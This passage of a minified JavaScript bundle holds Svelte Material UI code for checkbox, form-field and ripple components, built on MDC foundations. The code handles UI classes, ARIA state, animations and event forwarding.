prototype.handleAnimationEnd=function(){var e=this;this.enableAnimationEndHandler_&&(clearTimeout(this.animEndLatchTimer_),this.animEndLatchTimer_=setTimeout((function(){e.adapter.removeClass(e.currentAnimationClass_),e.enableAnimationEndHandler_=!1}),d.ANIM_END_LATCH_MS))},t.prototype.handleChange=function(){this.transitionCheckState_()},t.prototype.transitionCheckState_=function(){if(this.adapter.hasNativeControl()){var e=this.currentCheckState_,t=this.determineCheckState_();if(e!==t){this.updateAriaChecked_();var n=s.SELECTED;t===o.TRANSITION_STATE_UNCHECKED?this.adapter.removeClass(n):this.adapter.addClass(n),this.currentAnimationClass_.length>0&&(clearTimeout(this.animEndLatchTimer_),this.adapter.forceLayout(),this.adapter.removeClass(this.currentAnimationClass_)),this.currentAnimationClass_=this.getTransitionAnimationClass_(e,t),this.currentCheckState_=t,this.adapter.isAttachedToDOM()&&this.currentAnimationClass_.length>0&&(this.adapter.addClass(this.currentAnimationClass_),this.enableAnimationEndHandler_=!0)}}},t.prototype.determineCheckState_=function(){var e=o.TRANSITION_STATE_INDETERMINATE,t=o.TRANSITION_STATE_CHECKED,n=o.TRANSITION_STATE_UNCHECKED;return this.adapter.isIndeterminate()?e:this.adapter.isChecked()?t:n},t.prototype.getTransitionAnimationClass_=function(e,n){var a=o.TRANSITION_STATE_INIT,i=o.TRANSITION_STATE_CHECKED,r=o.TRANSITION_STATE_UNCHECKED,s=t.cssClasses,d=s.ANIM_UNCHECKED_CHECKED,l=s.ANIM_UNCHECKED_INDETERMINATE,u=s.ANIM_CHECKED_UNCHECKED,c=s.ANIM_CHECKED_INDETERMINATE,m=s.ANIM_INDETERMINATE_CHECKED,_=s.ANIM_INDETERMINATE_UNCHECKED;switch(e){case a:return n===r?"":n===i?m:_;case r:return n===i?d:l;case i:return n===r?u:c;default:return n===i?m:_}},t.prototype.updateAriaChecked_=function(){this.adapter.isIndeterminate()?this.adapter.setNativeControlAttr(o.ARIA_CHECKED_ATTR,o.ARIA_CHECKED_INDETERMINATE_VALUE):this.adapter.removeNativeControlAttr(o.ARIA_CHECKED_ATTR)},t}(r.K);var u=n(90400),c=n(22730),m=n(86551);function _(e){let t,n,i,r,s,o,d,l,u,_,f,p,g,L,y,v,M,b=[{class:i=(0,c.$o)({[e[9]]:!0,"mdc-checkbox__native-control":!0})},{type:"checkbox"},e[20],{disabled:e[1]},{__value:r=e[7]===e[19]?e[6]:e[7]},{"data-indeterminate":s=e[0]!==e[19]&&e[0]?"true":null},e[16],(0,c.bO)(e[26],"input$")],Y={};for(let e=0;e<b.length;e+=1)Y=(0,a.f0)(Y,b[e]);let k=[{class:f=(0,c.$o)({[e[3]]:!0,"mdc-checkbox":!0,"mdc-checkbox--disabled":e[1],"mdc-checkbox--touch":e[5],"mdc-data-table__header-row-checkbox":"data-table"===e[21]&&e[22],"mdc-data-table__row-checkbox":"data-table"===e[21]&&!e[22],...e[14]})},{style:p=Object.entries(e[15]).map(h).concat([e[4]]).join(" ")},(0,c.De)(e[26],["input$"])],w={};for(let e=0;e<k.length;e+=1)w=(0,a.f0)(w,k[e]);return{c(){t=(0,a.bG)("div"),n=(0,a.bG)("input"),d=(0,a.Dh)(),l=(0,a.bG)("div"),l.innerHTML='<svg class="mdc-checkbox__checkmark" viewBox="0 0 24 24"><path class="mdc-checkbox__checkmark-path" fill="none" d="M1.73,12.91 8.1,19.28 22.79,4.59"></path></svg> \n <div class="mdc-checkbox__mixedmark"></div>',u=(0,a.Dh)(),_=(0,a.bG)("div"),(0,a.UF)(n,Y),(0,a.Lj)(l,"class","mdc-checkbox__background"),(0,a.Lj)(_,"class","mdc-checkbox__ripple"),(0,a.UF)(t,w)},m(i,r){(0,a.$T)(i,t,r),(0,a.R3)(t,n),e[36](n),n.checked=e[12],(0,a.R3)(t,d),(0,a.R3)(t,l),(0,a.R3)(t,u),(0,a.R3)(t,_),e[38](t),v||(M=[(0,a.TV)(o=c.ol.call(null,n,e[8])),(0,a.oL)(n,"change",e[37]),(0,a.oL)(n,"blur",e[34]),(0,a.oL)(n,"focus",e[35]),(0,a.TV)(g=c.ol.call(null,t,e[2])),(0,a.TV)(L=e[18].call(null,t)),(0,a.TV)(y=m.Z.call(null,t,{unbounded:!0,addClass:e[23],removeClass:e[24],addStyle:e[25],active:e[17],eventTarget:e[11]})),(0,a.oL)(t,"animationend",e[39])],v=!0)},p(e,d){(0,a.UF)(n,Y=(0,a.Lo)(b,[512&d[0]&&i!==(i=(0,c.$o)({[e[9]]:!0,"mdc-checkbox__native-control":!0}))&&{class:i},{type:"checkbox"},e[20],2&d[0]&&{disabled:e[1]},192&d[0]&&r!==(r=e[7]===e[19]?e[6]:e[7])&&{__value:r},1&d[0]&&s!==(s=e[0]!==e[19]&&e[0]?"true":null)&&{"data-indeterminate":s},65536&d[0]&&e[16],67108864&d[0]&&(0,c.bO)(e[26],"input$")])),o&&(0,a.sB)(o.update)&&256&d[0]&&o.update.call(null,e[8]),4096&d[0]&&(n.checked=e[12]),(0,a.UF)(t,w=(0,a.Lo)(k,[16426&d[0]&&f!==(f=(0,c.$o)({[e[3]]:!0,"mdc-checkbox":!0,"mdc-checkbox--disabled":e[1],"mdc-checkbox--touch":e[5],"mdc-data-table__header-row-checkbox":"data-table"===e[21]&&e[22],"mdc-data-table__row-checkbox":"data-table"===e[21]&&!e[22],...e[14]}))&&{class:f},32784&d[0]&&p!==(p=Object.entries(e[15]).map(h).concat([e[4]]).join(" "))&&{style:p},67108864&d[0]&&(0,c.De)(e[26],["input$"])])),g&&(0,a.sB)(g.update)&&4&d[0]&&g.update.call(null,e[2]),y&&(0,a.sB)(y.update)&&133120&d[0]&&y.update.call(null,{unbounded:!0,addClass:e[23],removeClass:e[24],addStyle:e[25],active:e[17],eventTarget:e[11]})},i:a.ZT,o:a.ZT,d(n){n&&(0,a.og)(t),e[36](null),e[38](null),v=!1,(0,a.j7)(M)}}}const h=([e,t])=>`${e}: ${t};`;function f(e,t,n){const i=["use","class","style","disabled","touch","indeterminate","group","checked","value","valueKey","input$use","input$class","getId","getElement"];let r=(0,a.q2)(t,i);const s=(0,c.PD)((0,a.w2)());let o,d,m,_=()=>{},{use:h=[]}=t,{class:f=""}=t,{style:p=""}=t,{disabled:g=!1}=t,{touch:L=!1}=t,{indeterminate:y=_}=t,{group:v=_}=t,{checked:M=_}=t,{value:b=null}=t,{valueKey:Y=_}=t,{input$use:k=[]}=t,{input$class:w=""}=t,T={},D={},x={},$=!1,S=(0,u.fw)("SMUI:generic:input:props")||{},j=v===_?M!==_&&M:-1!==v.indexOf(b),H=(0,u.fw)("SMUI:checkbox:context"),C=(0,u.fw)("SMUI:data-table:row:header"),E=M,O=v===_?[]:[...v],A=j;function I(e){T[e]||n(14,T[e]=!0,T)}function R(e){e in T&&!T[e]||n(14,T[e]=!1,T)}function P(e,t){x[e]!==t&&n(16,x[e]=t,x)}function F(e){e in x&&null==x[e]||n(16,x[e]=void 0,x)}function N(){return o}(0,u.H3)((()=>{n(10,d=new l({addClass:I,forceLayout:()=>o.offsetWidth,hasNativeControl:()=>!0,isAttachedToDOM:()=>Boolean(o.parentNode),isChecked:()=>j,isIndeterminate:()=>y!==_&&y,removeClass:R,removeNativeControlAttr:F,setNativeControlAttr:P,setNativeControlDisabled:e=>n(1,g=e)}));const e={_smui_checkbox_accessor:!0,get element(){return N()},get checked(){return j},set checked(e){j!==e&&n(12,j=e)},get indeterminate(){return y!==_&&y},set indeterminate(e){n(0,y=e)},activateRipple(){g||n(17,$=!0)},deactivateRipple(){n(17,$=!1)}};return(0,c.WI)(o,"SMUI:generic:input:mount",e),(0,c.WI)(o,"SMUI:checkbox:mount",e),d.init(),()=>{(0,c.WI)(o,"SMUI:generic:input:unmount",e),(0,c.WI)(o,"SMUI:checkbox:unmount",e),d.destroy()}}));return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(26,r=(0,a.q2)(t,i)),"use"in e&&n(2,h=e.use),"class"in e&&n(3,f=e.class),"style"in e&&n(4,p=e.style),"disabled"in e&&n(1,g=e.disabled),"touch"in e&&n(5,L=e.touch),"indeterminate"in e&&n(0,y=e.indeterminate),"group"in e&&n(27,v=e.group),"checked"in e&&n(28,M=e.checked),"value"in e&&n(6,b=e.value),"valueKey"in e&&n(7,Y=e.valueKey),"input$use"in e&&n(8,k=e.input$use),"input$class"in e&&n(9,w=e.input$class)},e.$$.update=()=>{if(402660417&e.$$.dirty[0]|7&e.$$.dirty[1]){let e=!1;if(v!==_)if(A!==j){const t=v.indexOf(b);j&&-1===t?(v.push(b),n(27,v),n(19,_),n(33,A),n(12,j),n(6,b),n(32,O),n(28,M),n(31,E),n(11,m),n(0,y),n(10,d)):j||-1===t||(v.splice(t,1),n(27,v),n(19,_),n(33,A),n(12,j),n(6,b),n(32,O),n(28,M),n(31,E),n(11,m),n(0,y),n(10,d)),e=!0}else{const t=O.indexOf(b),a=v.indexOf(b);t>-1&&-1===a?(n(12,j=!1),e=!0):a>-1&&-1===t&&(n(12,j=!0),e=!0)}M===_?A!==j&&(e=!0):M!==j&&(M===E?n(28,M=j):n(12,j=M),e=!0),m&&(y===_?m.indeterminate&&(n(11,m.indeterminate=!1,m),e=!0):!y&&m.indeterminate?(n(11,m.indeterminate=!1,m),e=!0):y&&!m.indeterminate&&(n(11,m.indeterminate=!0,m),e=!0)),n(31,E=M),n(32,O=v===_?[]:[...v]),n(33,A=j),e&&d&&d.handleChange()}},[y,g,h,f,p,L,b,Y,k,w,d,m,j,o,T,D,x,$,s,_,S,H,C,I,R,function(e,t){D[e]!=t&&(""===t||null==t?(delete D[e],n(15,D)):n(15,D[e]=t,D))},r,v,M,function(){return S&&S.id},N,E,O,A,function(t){a.cK.call(this,e,t)},function(t){a.cK.call(this,e,t)},function(e){a.Vn[e?"unshift":"push"]((()=>{m=e,n(11,m),n(27,v),n(19,_),n(33,A),n(12,j),n(6,b),n(32,O),n(28,M),n(31,E),n(0,y),n(10,d)}))},function(){j=this.checked,n(12,j),n(27,v),n(19,_),n(33,A),n(6,b),n(32,O),n(28,M),n(31,E),n(11,m),n(0,y),n(10,d)},function(e){a.Vn[e?"unshift":"push"]((()=>{o=e,n(13,o)}))},()=>d&&d.handleAnimationEnd()]}class p extends a.f_{constructor(e){super(),(0,a.S1)(this,e,f,_,a.N8,{use:2,class:3,style:4,disabled:1,touch:5,indeterminate:0,group:27,checked:28,value:6,valueKey:7,input$use:8,input$class:9,getId:29,getElement:30},[-1,-1])}get getId(){return this.$$.ctx[29]}get getElement(){return this.$$.ctx[30]}}const g=p},22730:(e,t,n)=>{"use strict";n.d(t,{CH:()=>p,$o:()=>d,WI:()=>g,De:()=>L,PD:()=>o,bO:()=>y,ol:()=>v});var a=n(21379),i=n(90400);const r=/^[a-z]+(?::(?:preventDefault|stopPropagation|passive|nonpassive|capture|once|self))+$/,s=/^[^$]+(?:\$(?:preventDefault|stopPropagation|passive|nonpassive|capture|once|self))+$/;function o(e){let t,n=[];const i=e.$on;function o(t){(0,a.cK)(e,t)}return e.$on=(a,o)=>{let d=a,l=()=>{};t?l=t(d,o):n.push([d,o]);const u=d.match(r),c=d.match(s),m=u||c;if(u&&console&&console.warn('Event modifiers in SMUI now use "$" instead of ":", so that all events can be bound with modifiers. Please update your event binding: ',d),m){const e=d.split(u?":":"$");d=e[0]}const _=i.call(e,d,o);return(...e)=>(l(),_(...e))},e=>{const i=[],d={};t=(t,n)=>{let l=t,u=n,c=!1;const m=l.match(r),_=l.match(s);if(m||_){const e=l.split(m?":":"$");l=e[0],c=Object.fromEntries(e.slice(1).map((e=>[e,!0]))),c.nonpassive&&(c.passive=!1,delete c.nonpassive),c.preventDefault&&(u=(0,a.AT)(u),delete c.preventDefault),c.stopPropagation&&(u=(0,a.XE)(u),delete c.stopPropagation)}const h=(0,a.oL)(e,l,u,c),f=()=>{h();const e=i.indexOf(f);e>-1&&i.splice(e,1)};return i.push(f),!l in d&&(d[l]=(0,a.oL)(e,l,o)),f};for(let e=0;e<n.length;e++)t(n[e][0],n[e][1]);return{destroy:()=>{for(let e=0;e<i.length;e++)i[e]();for(let e of Object.entries(d))e[1]()}}}}function d(e){return Object.entries(e).filter((([e,t])=>""!==e&&t)).map((([e])=>e)).join(" ")}function l(e){let t;const n=e[10].default,i=(0,a.nu)(n,e,e[12],null);return{c(){i&&i.c()},m(e,n){i&&i.m(e,n),t=!0},p(e,r){i&&i.p&&(!t||4096&r)&&(0,a.Tj)(i,n,e,e[12],t?r:-1,null,null)},i(e){t||((0,a.Ui)(i,e),t=!0)},o(e){(0,a.et)(i,e),t=!1},d(e){i&&i.d(e)}}}function u(e){let t,n,i;const r=[{use:[e[7],...e[0]]},{class:d({[e[1]]:!0,[e[5]]:!0,...e[4]})},e[6],e[8]];var s=e[2];function o(e){let t={$$slots:{default:[l]},$$scope:{ctx:e}};for(let e=0;e<r.length;e+=1)t=(0,a.f0)(t,r[e]);return{props:t}}return s&&(t=new s(o(e)),e[11](t)),{c(){t&&(0,a.YC)(t.$$.fragment),n=(0,a.cS)()},m(e,r){t&&(0,a.ye)(t,e,r),(0,a.$T)(e,n,r),i=!0},p(e,[i]){const l=499&i?(0,a.Lo)(r,[129&i&&{use:[e[7],...e[0]]},50&i&&{class:d({[e[1]]:!0,[e[5]]:!0,...e[4]})},64&i&&(0,a.gC)(e[6]),256&i&&(0,a.gC)(e[8])]):{};if(4096&i&&(l.$$scope={dirty:i,ctx:e}),s!==(s=e[2])){if(t){(0,a.dv)();const e=t;(0,a.et)(e.$$.fragment,1,0,(()=>{(0,a.vp)(e,1)})),(0,a.gb)()}s?(t=new s(o(e)),e[11](t),(0,a.YC)(t.$$.fragment),(0,a.Ui)(t.$$.fragment,1),(0,a.ye)(t,n.parentNode,n)):t=null}else s&&t.$set(l)},i(e){i||(t&&(0,a.Ui)(t.$$.fragment,e),i=!0)},o(e){t&&(0,a.et)(t.$$.fragment,e),i=!1},d(i){e[11](null),i&&(0,a.og)(n),t&&(0,a.vp)(t,i)}}}const c={component:null,class:"",classMap:{},contexts:{},props:{}};function m(e,t,n){const r=["use","class","component","getElement"];let s,d=(0,a.q2)(t,r),{$$slots:l={},$$scope:u}=t,{use:m=[]}=t,{class:_=""}=t;const h=c.class,f={},p=[],g=c.contexts,L=c.props;let{component:y=c.component}=t;Object.entries(c.classMap).forEach((([e,t])=>{const a=(0,i.fw)(t);a&&"subscribe"in a&&p.push(a.subscribe((t=>{n(4,f[e]=t,f)})))}));const v=o((0,a.w2)());for(let e in g)g.hasOwnProperty(e)&&(0,i.v)(e,g[e]);return(0,i.ev)((()=>{for(const e of p)e()})),e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(8,d=(0,a.q2)(t,r)),"use"in e&&n(0,m=e.use),"class"in e&&n(1,_=e.class),"component"in e&&n(2,y=e.component),"$$scope"in e&&n(12,u=e.$$scope)},[m,_,y,s,f,h,L,v,d,function(){return s.getElement()},l,function(e){a.Vn[e?"unshift":"push"]((()=>{s=e,n(3,s)}))},u]}class _ extends a.f_{constructor(e){super(),(0,a.S1)(this,e,m,u,a.N8,{use:0,class:1,component:2,getElement:9})}get getElement(){return this.$$.ctx[9]}}const h=_,f={...c};function p(e){function t(...t){return Object.assign(c,f,e),new h(...t)}return t.prototype=h,h.$$render&&(t.$$render=(...t)=>Object.assign(c,f,e)&&h.$$render(...t)),h.render&&(t.render=(...t)=>Object.assign(c,f,e)&&h.render(...t)),t}function g(e,t,n={},a={bubbles:!0}){if("undefined"!=typeof Event&&e){const i=new Event(t,a);i.detail=n;return("getElement"in e?e.getElement():e).dispatchEvent(i),i}}function L(e,t){let n=Object.getOwnPropertyNames(e);const a={};for(let i=0;i<n.length;i++){const r=n[i],s=r.indexOf("$");-1!==s&&-1!==t.indexOf(r.substring(0,s+1))||-1===t.indexOf(r)&&(a[r]=e[r])}return a}function y(e,t){let n=Object.getOwnPropertyNames(e);const a={};for(let i=0;i<n.length;i++){const r=n[i];r.substring(0,t.length)===t&&(a[r.substring(t.length)]=e[r])}return a}function v(e,t){let n=[];if(t)for(let a=0;a<t.length;a++){const i=Array.isArray(t[a]),r=i?t[a][0]:t[a];i&&t[a].length>1?n.push(r(e,t[a][1])):n.push(r(e))}return{update(e){if((e&&e.length||0)!=n.length)throw new Error("You must not change the length of an actions array.");if(e)for(let t=0;t<e.length;t++)if(n[t]&&"update"in n[t]){Array.isArray(e[t])&&e[t].length>1?n[t].update(e[t][1]):n[t].update()}},destroy(){for(let e=0;e<n.length;e++)n[e]&&"destroy"in n[e]&&n[e].destroy()}}}},42160:(e,t,n)=>{"use strict";n.d(t,{Z:()=>g});var a=n(21379),i=n(70655),r=n(6308),s={ROOT:"mdc-form-field"},o={LABEL_SELECTOR:".mdc-form-field > label"},d=function(e){function t(n){var a=e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this;return a.click=function(){a.handleClick()},a}return(0,i.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return s},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function(){return o},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{activateInputRipple:function(){},deactivateInputRipple:function(){},deregisterInteractionHandler:function(){},registerInteractionHandler:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){this.adapter.registerInteractionHandler("click",this.click)},t.prototype.destroy=function(){this.adapter.deregisterInteractionHandler("click",this.click)},t.prototype.handleClick=function(){var e=this;this.adapter.activateInputRipple(),requestAnimationFrame((function(){e.adapter.deactivateInputRipple()}))},t}(r.K);var l=n(90400),u=n(22730);const c=e=>({}),m=e=>({});function _(e){let t,n,i,r,s,o,d,l,_,h;const f=e[13].default,p=(0,a.nu)(f,e,e[12],null),g=e[13].label,L=(0,a.nu)(g,e,e[12],m);let y=[{for:e[4]},(0,u.bO)(e[10],"label$")],v={};for(let e=0;e<y.length;e+=1)v=(0,a.f0)(v,y[e]);let M=[{class:s=(0,u.$o)({[e[1]]:!0,"mdc-form-field":!0,"mdc-form-field--align-end":"end"===e[2],"mdc-form-field--nowrap":e[3]})},(0,u.De)(e[10],["label$"])],b={};for(let e=0;e<M.length;e+=1)b=(0,a.f0)(b,M[e]);return{c(){t=(0,a.bG)("div"),p&&p.c(),n=(0,a.Dh)(),i=(0,a.bG)("label"),L&&L.c(),(0,a.UF)(i,v),(0,a.UF)(t,b)},m(s,c){(0,a.$T)(s,t,c),p&&p.m(t,null),(0,a.R3)(t,n),(0,a.R3)(t,i),L&&L.m(i,null),e[14](i),e[15](t),l=!0,_||(h=[(0,a.TV)(r=u.ol.call(null,i,e[5])),(0,a.TV)(o=u.ol.call(null,t,e[0])),(0,a.TV)(d=e[9].call(null,t)),(0,a.oL)(t,"SMUI:generic:input:mount",e[16]),(0,a.oL)(t,"SMUI:generic:input:unmount",e[17])],_=!0)},p(e,[n]){p&&p.p&&(!l||4096&n)&&(0,a.Tj)(p,f,e,e[12],l?n:-1,null,null),L&&L.p&&(!l||4096&n)&&(0,a.Tj)(L,g,e,e[12],l?n:-1,c,m),(0,a.UF)(i,v=(0,a.Lo)(y,[(!l||16&n)&&{for:e[4]},1024&n&&(0,u.bO)(e[10],"label$")])),r&&(0,a.sB)(r.update)&&32&n&&r.update.call(null,e[5]),(0,a.UF)(t,b=(0,a.Lo)(M,[(!l||14&n&&s!==(s=(0,u.$o)({[e[1]]:!0,"mdc-form-field":!0,"mdc-form-field--align-end":"end"===e[2],"mdc-form-field--nowrap":e[3]})))&&{class:s},1024&n&&(0,u.De)(e[10],["label$"])])),o&&(0,a.sB)(o.update)&&1&n&&o.update.call(null,e[0])},i(e){l||((0,a.Ui)(p,e),(0,a.Ui)(L,e),l=!0)},o(e){(0,a.et)(p,e),(0,a.et)(L,e),l=!1},d(n){n&&(0,a.og)(t),p&&p.d(n),L&&L.d(n),e[14](null),e[15](null),_=!1,(0,a.j7)(h)}}}let h=0;function f(e,t,n){const i=["use","class","align","noWrap","inputId","label$use","getElement"];let r=(0,a.q2)(t,i),{$$slots:s={},$$scope:o}=t;const c=(0,u.PD)((0,a.w2)());let m,_,f,p,{use:g=[]}=t,{class:L=""}=t,{align:y="start"}=t,{noWrap:v=!1}=t,{inputId:M="SMUI-form-field-"+h++}=t,{label$use:b=[]}=t;(0,l.v)("SMUI:generic:input:props",{id:M}),(0,l.H3)((()=>(_=new d({activateInputRipple:()=>{p&&p.activateRipple()},deactivateInputRipple:()=>{p&&p.deactivateRipple()},deregisterInteractionHandler:(e,t)=>{f.removeEventListener(e,t)},registerInteractionHandler:(e,t)=>{f.addEventListener(e,t)}}),_.init(),()=>{_.destroy()})));return e.$$set=e=>{t=(0,a.f0)((0,a.f0)({},t),(0,a.Jv)(e)),n(10,r=(0,a.q2)(t,i)),"use"in e&&n(0,g=e.use),"class"in e&&n(1,L=e.class),"align"in e&&n(2,y=e.align),"noWrap"in e&&n(3,v=e.noWrap),"inputId"in e&&n(4,M=e.inputId),"label$use"in e&&n(5,b=e.label$use),"$$scope"in e&&n(12,o=e.$$scope)},[g,L,y,v,M,b,m,f,p,c,r,function(){return m},o,s,function(e){a.Vn[e?"unshift":"push"]((()=>{f=e,n(7,f)}))},function(e){a.Vn[e?"unshift":"push"]((()=>{m=e,n(6,m)}))},e=>n(8,p=e.detail),()=>n(8,p=void 0)]}class p extends a.f_{constructor(e){super(),(0,a.S1)(this,e,f,_,a.N8,{use:0,class:1,align:2,noWrap:3,inputId:4,label$use:5,getElement:11})}get getElement(){return this.$$.ctx[11]}}const g=p},86551:(e,t,n)=>{"use strict";n.d(t,{Z:()=>L});var a,i=n(70655),r=n(6308),s={BG_FOCUSED:"mdc-ripple-upgraded--background-focused",FG_ACTIVATION:"mdc-ripple-upgraded--foreground-activation",FG_DEACTIVATION:"mdc-ripple-upgraded--foreground-deactivation",ROOT:"mdc-ripple-upgraded",UNBOUNDED:"mdc-ripple-upgraded--unbounded"},o={VAR_FG_SCALE:"--mdc-ripple-fg-scale",VAR_FG_SIZE:"--mdc-ripple-fg-size",VAR_FG_TRANSLATE_END:"--mdc-ripple-fg-translate-end",VAR_FG_TRANSLATE_START:"--mdc-ripple-fg-translate-start",VAR_LEFT:"--mdc-ripple-left",VAR_TOP:"--mdc-ripple-top"},d={DEACTIVATION_TIMEOUT_MS:225,FG_DEACTIVATION_MS:150,INITIAL_ORIGIN_SCALE:.6,PADDING:10,TAP_DELAY_MS:300};var l=["touchstart","pointerdown","mousedown","keydown"],u=["touchend","pointerup","mouseup","contextmenu"],c=[],m=function(e){function t(n){var a=e.call(this,(0,i.pi)((0,i.pi)({},t.defaultAdapter),n))||this;return a.activationAnimationHasEnded_=!1,a.activationTimer_=0,a.fgDeactivationRemovalTimer_=0,a.fgScale_="0",a.frame_={width:0,height:0},a.initialSize_=0,a.layoutFrame_=0,a.maxRadius_=0,a.unboundedCoords_={left:0,top:0},a.activationState_=a.defaultActivationState_(),a.activationTimerCallback_=function(){a.activationAnimationHasEnded_=!0,a.runDeactivationUXLogicIfReady_()},a.activateHandler_=function(e){return a.activate_(e)},a.deactivateHandler_=function(){return a.deactivate_()},a.focusHandler_=function(){return a.handleFocus()},a.blurHandler_=function(){return a.handleBlur()},a.resizeHandler_=function(){return a.layout()},a}return(0,i.ZT)(t,e),Object.defineProperty(t,"cssClasses",{get:function(){return s},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function(){return o},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function(){return d},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function(){return{addClass:function(){},browserSupportsCssVars:function(){return!0},computeBoundingRect:function(){return{top:0,right:0,bottom:0,left:0,width:0,height:0}},containsEventTarget:function(){return!0},deregisterDocumentInteractionHandler:function(){},deregisterInteractionHandler:function(){},deregisterResizeHandler:function(){},getWindowPageOffset:function(){return{x:0,y:0}},isSurfaceActive:function(){return!0},isSurfaceDisabled:function(){return!0},isUnbounded:function(){return!0},registerDocumentInteractionHandler:function(){},registerInteractionHandler:function(){},registerResizeHandler:function(){},removeClass:function(){},updateCssVariable:function(){}}},enumerable:!1,configurable:!0}),t.prototype.init=function(){var e=this,n=this.supportsPressRipple_();if(this.registerRootHandlers_(n),n){var a=t.cssClasses,i=a.ROOT,r=a.UNBOUNDED;requestAnimationFrame((function(){e.adapter.addClass(i),e.adapter.isUnbounded()&&(e.adapter.addClass(r),e.layoutInternal_())}))}},t.prototype.destroy=function(){var e=this;if(this.supportsPressRipple_()){this.activationTimer_&&(clearTimeout(this.activationTimer_),this.activationTimer_=0,this.adapter.removeClass(t.cssClasses.FG_ACTIVATION)),this.fgDeactivationRemovalTimer_&&(clearTimeout(this.fgDeactivationRemovalTimer_),this.fgDeactivationRemovalTimer_=0,this.adapter.removeClass(t.cssClasses.FG_DEACTIVATION));var n=t.cssClasses,a=n.ROOT,i=n.UNBOUNDED;requestAnimationFrame((function(){e.adapter.removeClass(a),e.adapter.removeClass(i),e.removeCssVars_()}))}this.deregisterRootHandlers_(),this.deregisterDeactivationHandlers_()},t.prototype.activate=function(e){this.activate_(e)},t.prototype.deactivate=function(){this.deactivate_()},t.prototype.layout=function(){var e=this;this.layoutFrame_&&cancelAnimationFrame(this.layoutFrame_),this.layoutFrame_=requestAnimationFrame((function(){e.layoutInternal_(),e.layoutFrame_=0}))},t.prototype.setUnbounded=function(e){var n=t.cssClasses.UNBOUNDED;e?this.adapter.addClass(n):this.adapter.removeClass(n)},t.prototype.handleFocus=function(){var e=this;requestAnimationFrame((function(){return e.adapter.addClass(t.cssClasses.BG_FOCUSED)}))},t.prototype.handleBlur=function(){var e=this;requestAnimationFrame((function(){return e.adapter.removeClass(t.cssClasses.BG_FOCUSED)}))},t.prototype.supportsPressRipple_=function(){return this.adapter.browserSupportsCssVars()},t.prototype.defaultActivationState_=function(){return{activationEvent:void 0,hasDeactivationUXRun:!1,isActivated:!1,isProgrammatic:!1,wasActivatedByPointer:!1,wasElementMadeActive:!1}},t.prototype.registerRootHandlers_=function(e){var t=this;e&&(l.forEach((function(e){t.adapter.registerInteractionHandler(e,t.activateHandler_)})),this.adapter.isUnbounded()&&this.adapter.registerResizeHandler(this.resizeHandler_)),this.adapter.registerInteractionHandler("focus",this.focusHandler_),this.adapter.registerInteractionHandler("blur",this.blurHandler_)},t.prototype.registerDeactivationHandlers_=function(e){var t=this;"keydown"===e.type?this.adapter.registerInteractionHandler("keyup",this.deactivateHandler_):u.forEach((function(e){t.adapter.registerDocumentInteractionHandler(e,t.deactivateHandler_)}))},t.prototype.deregisterRootHandlers_=function(){var e=this;l.forEach((function(t){e.adapter.deregisterInteractionHandler(t,e.activateHandler_)})),this.adapter.deregisterInteractionHandler("focus",this.focusHandler_),this.adapter.deregisterInteractionHandler("blur",this.blurHandler_),this.adapter.isUnbounded()&&this.adapter.deregisterResizeHandler(this.resizeHandler_)},t.prototype.deregisterDeactivationHandlers_=function(){var e=this;this.adapter.deregisterInteractionHandler("keyup",this.deactivateHandler_),u.forEach((function(t){e.adapter.deregisterDocumentInteractionHandler(t,e.deactivateHandler_)}))},t.prototype.removeCssVars_=function(){var e=this,n=t.strings;Object.keys(n).forEach((function(t){0===t.indexOf("VAR_")&&e.adapter.updateCssVariable(n[t],null)}))},t.prototype.activate_=function(e){var t=this;if(!this.adapter.isSurfaceDisabled()){var n=this.activationState_;if(!n.isActivated){var a=this.previousActivationEvent_;if(!(a&&void 0!==e&&a.type!==e.type))n.isActivated=!0,n.isProgrammatic=void 0===e,n.activationEvent=e,n.wasActivatedByPointer=!n.isProgrammatic&&(void 0!==e&&("mousedown"===e.type||"touchstart"===e.type||"pointerdown"===e.type)),void 0!==e&&c.length>0&&c.some((function(e){return t.adapter.containsEventTarget(e)}))?this.resetActivationState_():(void 0!==e&&(c.push(e.target),this.registerDeactivationHandlers_(e)),n.wasElementMadeActive=this.checkElementMadeActive_(e),n.wasElementMadeActive&&this.animateActivation_(),requestAnimationFrame((function(){c=[],n.wasElementMadeActive||void 0===e||" "!==e.key&&32!==e.keyCode||(n.wasElementMadeActive=t.checkElementMadeActive_(e),n.wasElementMadeActive&&t.animateActivation_()),n.wasElementMadeActive||(t.activationState_=t.defaultActivationState_())})))}}},t.prototype.checkElementMadeActive_=function(e){return void 0===e||"keydown"!==e.type||this.adapter.isSurfaceActive()},t.prototype.animateActivation_=function(){var e=this,n=t.strings,a=n.VAR_FG_TRANSLATE_START,i=n.VAR_FG_TRANSLATE_END,r=t.cssClasses,s=r.FG_DEACTIVATION,o=r.FG_ACTIVATION,d=t.numbers.DEACTIVATION_TIMEOUT_MS;this.layoutInternal_();var l="",u="";if(!this.adapter.isUnbounded()){var c=this.getFgTranslationCoordinates_(),m=c.startPoint,_=c.endPoint;l=m.x+"px, "+m.y+"px",u=_.x+"px, "+_.y+"px"}this.adapter.updateCssVariable(a,l),this.adapter.updateCssVariable(i,u),clearTimeout(this.activationTimer_),clearTimeout(this.fgDeactivationRemovalTimer_),this.rmBoundedActivationClasses_(),this.adapter.removeClass(s),this.adapter.computeBoundingRect(),this.adapter.addClass(o),this.activationTimer_=setTimeout((function(){return e.activationTimerCallback_()}),d)},t.prototype.getFgTranslationCoordinates_=function(){var e,t=this.activationState_,n=t.activationEvent;return{startPoint:e={x:(e=t.wasActivatedByPointer?function(e,t,n){if(!e)return{x:0,y:0};var a,i,r=t.x,s=t.y,o=r+n.left,d=s+n.top;if("touchstart"===e.type){var l=e;a=l.changedTouches[0].pageX-o,i=l.changedTouches[0].pageY-d}else{var 